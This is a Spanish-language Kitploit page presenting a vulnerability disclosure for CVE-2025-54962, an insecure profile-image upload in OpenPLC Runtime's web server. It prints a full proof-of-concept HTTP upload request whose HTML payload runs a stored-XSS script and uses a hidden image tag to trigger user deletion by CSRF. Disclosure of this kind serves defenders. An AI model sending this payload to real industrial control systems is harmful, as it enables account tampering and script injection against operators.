Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-54962 — Los usuarios autenticados pueden subir archivos arbitrarios (por ejemplo, .html, .svg) como imágenes de perfil en OpenPLC Runtime. Estos archivos son accesibles públicamente sin autenticación, lo que permite XSS almacenado o la entrega de contenido malicioso . | Kitploit
Herramientas/GitHubGitHub/eyodav/cve-2025-54962
Análisis de VulnerabilidadesExplotaciónSeguridad SCADA/ICSExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubeyodav/cve-2025-54962

CVE-2025-54962

Los usuarios autenticados pueden subir archivos arbitrarios (por ejemplo, .html, .svg) como imágenes de perfil en OpenPLC Runtime. Estos archivos son accesibles públicamente sin autenticación, lo que permite XSS almacenado o la entrega de contenido malicioso .

Ver Repositorio
6hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🔥 CVE-2025-54962 — Carga de archivos insegura en el servidor web de OpenPLC Runtime

(OpenPLC Runtime ≤ 2024-12-31 — XSS almacenado, CSRF)

📌 Resumen

Descubrí una vulnerabilidad en el servidor web de OpenPLC Runtime (versión publicada: 2024-12-31) que permite a los usuarios autenticados subir archivos arbitrarios (por ejemplo, .html, .svg) como fotos de perfil. Estos archivos se almacenan en el directorio /static/ y son accesibles sin autenticación, lo que habilita escenarios de XSS almacenado o alojamiento de contenido malicioso.


🧪 Componente afectado

  • Ruta: /edit-user
  • Afectado: Funcionalidad de carga de archivos para imágenes de perfil

⚠️ Impacto

  • Carga de archivos arbitraria con validación insuficiente de MIME y extensión
  • XSS almacenado
  • Alojamiento de contenido malicioso
  • Acceso no autenticado a los archivos subidos
  • CSRF

🎯 Vector de ataque

  1. Un usuario autenticado sube un archivo .html o .svg como foto de perfil.
  2. El archivo se almacena en /static/ y se le asigna un ID predecible (p. ej., http://localhost:8080/static/336029.html)
  3. Cualquier usuario (incluso no autenticado) puede acceder directamente al archivo subido.
  4. Si el archivo contiene JavaScript u otro código malicioso, se ejecutará en el navegador de la víctima.

📸 Prueba de concepto visual

Panel de control cuando el PLC está en ejecución

dashboard.png

Subiendo un archivo .html malicioso

choose file.png

Usando "Todos los archivos" para omitir el filtro de imágenes

file.png

Archivo subido ejecutado desde /static/

poc.png


🎞️ PoCs en vídeo

  • Demostración básica del PoC
    poc de base.mp4

  • Demostración de acceso no autenticado
    unauthenticated.mp4

  • PoC de CSRF
    poc csrf.mp4


📤 Ejemplo de solicitud de explotación con Burp Suite Repeater

root@kitploit:~
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC – Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>

  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>

  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>

  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />

  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>

  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
Descargar herramienta